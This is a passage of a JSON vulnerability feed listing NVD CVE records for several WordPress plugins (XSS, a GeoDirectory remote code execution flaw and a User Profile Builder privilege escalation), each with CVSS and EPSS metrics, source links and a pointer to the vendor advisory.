2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114697&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114697, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114695","cveId":"CVE-2026-114695","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Infomaniak Network VOD Infomaniak vod-infomaniak allows Stored XSS.This issue...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Infomaniak Network VOD Infomaniak vod-infomaniak allows Stored XSS.This issue affects VOD Infomaniak: from n/a through 1.5.14.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Infomaniak Network VOD Infomaniak vod-infomaniak allows Stored XSS.This issue affects VOD Infomaniak: from n/a through 1.5.14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:52.360Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114695","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00205,"percentile":0.10344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114695","type":"primary","publishedAt":"2026-10-24T08:16:52.360Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114694","cveId":"CVE-2026-114694","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pixelite Events Manager events-manager allows Reflected XSS.This issue...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pixelite Events Manager events-manager allows Reflected XSS.This issue affects Events Manager: from n/a through 7.4.8.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pixelite Events Manager events-manager allows Reflected XSS.This issue affects Events Manager: from n/a through 7.4.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:52.230Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114694","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00253,"percentile":0.16604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114694&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114694","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114694","type":"primary","publishedAt":"2026-10-24T08:16:52.230Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114694&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114694, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114179","cveId":"CVE-2026-114179","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wordplus BP Better Messages bp-better-messages allows DOM-Based XSS.This...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wordplus BP Better Messages bp-better-messages allows DOM-Based XSS.This issue affects BP Better Messages: from n/a through 3.1.3.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wordplus BP Better Messages bp-better-messages allows DOM-Based XSS.This issue affects BP Better Messages: from n/a through 3.1.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:51.700Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114179","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00201,"percentile":0.09865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114179","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114179","type":"primary","publishedAt":"2026-10-24T08:16:51.700Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114178","cveId":"CVE-2026-114178","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bold Grid W3 Total Cache w3-total-cache allows Stored XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bold Grid W3 Total Cache w3-total-cache allows Stored XSS.This issue affects W3 Total Cache: from n/a through 2.10.7.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bold Grid W3 Total Cache w3-total-cache allows Stored XSS.This issue affects W3 Total Cache: from n/a through 2.10.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:51.567Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114178","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00205,"percentile":0.10344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114178&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114178","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114178","type":"primary","publishedAt":"2026-10-24T08:16:51.567Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114178&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114178, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112869","cveId":"CVE-2026-112869","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Noah Hearle We’re Open!","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Noah Hearle We’re Open! opening-hours allows Reflected XSS.This issue affects We’re Open!: from n/a through 2.6.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Noah Hearle We’re Open! opening-hours allows Reflected XSS.This issue affects We’re Open!: from n/a through 2.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:51.437Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112869","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00201,"percentile":0.09865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112869","type":"primary","publishedAt":"2026-10-24T08:16:51.437Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112844","cveId":"CVE-2026-112844","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics WP Event Solution wp-event-solution allows Stored XSS.This issue...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics WP Event Solution wp-event-solution allows Stored XSS.This issue affects WP Event Solution: from n/a through 4.1.26.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arraytics WP Event Solution wp-event-solution allows Stored XSS.This issue affects WP Event Solution: from n/a through 4.1.26.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:51.160Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112844","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00201,"percentile":0.09865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112844","type":"primary","publishedAt":"2026-10-24T08:16:51.160Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113673","cveId":"CVE-2026-113673","aliases":[],"kind":"vulnerability","title":"The GeoDirectory  WordPress plugin before 2.8.194 does not properly escape administrator-defined text before writing it into a generated PHP file in its own folder, allowing high...","summary":"The GeoDirectory  WordPress plugin before 2.8.194 does not properly escape administrator-defined text before writing it into a generated PHP file in its own folder, allowing high privilege users such as a subsite administrator on a multisite network, who cannot otherwise run code, to achieve Remote Code Execution that any unauthenticated visitor can trigger.","detail":"The GeoDirectory  WordPress plugin before 2.8.194 does not properly escape administrator-defined text before writing it into a generated PHP file in its own folder, allowing high privilege users such as a subsite administrator on a multisite network, who cannot otherwise run code, to achieve Remote Code Execution that any unauthenticated visitor can trigger.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T06:16:36.907Z","updatedAt":"2026-10-26T13:50:14.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113673","asOf":"2026-10-26T13:50:14.083Z"},"epss":{"probability":0.00595,"percentile":0.48144,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113673&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113673","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113673","type":"primary","publishedAt":"2026-10-24T06:16:36.907Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113673&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113673, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112207","cveId":"CVE-2026-112207","aliases":[],"kind":"vulnerability","title":"The Download Monitor WordPress plugin before 5.3.4 does not properly validate that a clicked link belongs to the site before fetching it client-side and rendering part of the...","summary":"The Download Monitor WordPress plugin before 5.3.4 does not properly validate that a clicked link belongs to the site before fetching it client-side and rendering part of the response in the page, which allows unauthenticated attackers to execute arbitrary JavaScript in the browser of any user who is tricked into clicking a crafted link.","detail":"The Download Monitor WordPress plugin before 5.3.4 does not properly validate that a clicked link belongs to the site before fetching it client-side and rendering part of the response in the page, which allows unauthenticated attackers to execute arbitrary JavaScript in the browser of any user who is tricked into clicking a crafted link.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T06:16:36.143Z","updatedAt":"2026-10-26T13:50:14.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112207","asOf":"2026-10-26T13:50:14.083Z"},"epss":{"probability":0.00213,"percentile":0.11484,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112207","type":"primary","publishedAt":"2026-10-24T06:16:36.143Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115807","cveId":"CVE-2026-115807","aliases":[],"kind":"vulnerability","title":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Limited Privilege Escalation in all versions...","summary":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Limited Privilege Escalation in all versions up to, and including, 4.0.3. This is due to the Gutenberg Register block passing the attacker-controlled Assigned Role attribute directly into the `[wppb-register]` shortcode without server-side authorization. The role guard in the form builder only downgrades roles that carry the manage_options or remove_users capability, leaving the Editor role and other privileged non-Administrator roles completely unrestricted. This makes it possible for authenticated attackers with Author-level access and above to create new WordPress accounts bearing the Editor role (or any other role that lacks the two guarded capabilities).","detail":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Limited Privilege Escalation in all versions up to, and including, 4.0.3. This is due to the Gutenberg Register block passing the attacker-controlled Assigned Role attribute directly into the `[wppb-register]` shortcode without server-side authorization. The role guard in the form builder only downgrades roles that carry the manage_options or remove_users capability, leaving the Editor role and other privileged non-Administrator roles completely unrestricted. This makes it possible for authenticated attackers with Author-level access and above to create new WordPress accounts bearing the Editor role (or any other role that lacks the two guarded capabilities).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 